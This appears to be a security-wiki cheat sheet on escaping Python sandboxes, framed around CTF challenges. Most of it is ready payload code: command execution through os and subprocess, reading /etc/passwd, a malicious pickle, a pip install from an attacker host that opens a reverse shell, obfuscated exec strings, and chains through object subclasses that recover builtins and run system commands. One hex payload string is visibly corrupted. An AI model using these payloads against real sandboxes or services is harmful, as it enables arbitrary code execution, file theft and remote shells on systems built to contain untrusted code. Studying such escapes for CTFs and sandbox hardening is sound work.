# Bypass Python sandboxes These are some tricks to bypass python sandbox protections and execute arbitrary commands. ## Command Execution Libraries The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') ``` Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. Python2 **input\(\)** function allows to execute python code before the program crashes. ### Importing ```python import os from os import * __import__('os').system("ls") ``` If **`sys`**module is present, you can use it to access **`os`**library for example: ```python sys.modules["os"].system("ls") ``` You can also import libraries and any file is using **`execfile()`** \(python2\): ```python execfile('/usr/lib/python2.7/os.py') system('ls') ``` Python try to **load libraries from the current directory first**: `python3 -c 'import sys; print(sys.path)'` ## Bypass pickle sandbox with default installed python packages ### Default packages You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html) Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system. For example the following pickle, when loaded, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victimdoesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` For more information about how does pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**: {% file src="../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. {% endhint %} ## Executing python code This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ### Compiling In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\). Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compile` function in the CTF\). For example, let's compile and execute manually a function that reads _./poc.py_: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execut it directly import __builtin__ mydict = {} mydict['__builtins__'] = __builtin__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ## Builtins [Builtins functions of python2 ](https://docs.python.org/2/library/functions.html)[Builtins functions of python3](https://docs.python.org/3/library/functions.html) If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\): ```python __builtins__.__dict__['__import__']("os").system("ls") ``` ### No Builtins When you don't have \_\_builtins\_\_ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back: **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'].__import__("os").system("ls") # The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls') ``` #### Python2 and Python3 ```python # Recover __builtins__ and make eveything easier __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__) __builtins__["__import__"]('os').system('ls') ``` ### Finding types ```python ''.__class__ # str.__class__ # str.__class__('') # ().__class__.__base__.__subclasses__() #Several types ().__class__.__bases__[0].__subclasses__()#Several types ``` ## Dissecting functions In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it. This is the function to inspect: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` and `func_globals`\(Same\) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` `__code__` and `func_code`: You can access this to obtain some internal data of the function ```python #Get the options dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] #Get internal varnames get_flag.func_code.co_varnames ('some_input', 'var1', 'var2', 'var3') #Get the value of the vars get_flag.func_code.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') #Get bytecode get_flag.func_code.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` **Disassembly a function** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function \(`get_flag.func_code.co_code`\) and **disassemble** it locally. You won't see the content of the variables being loaded \(`LOAD_CONST`\) but you can guess them from \(`get_flag.func_code.co_consts`\) because `LOAD_CONST`also tells the offset of the variable being loaded. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## References * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) * [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) * [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) \*\*\*\*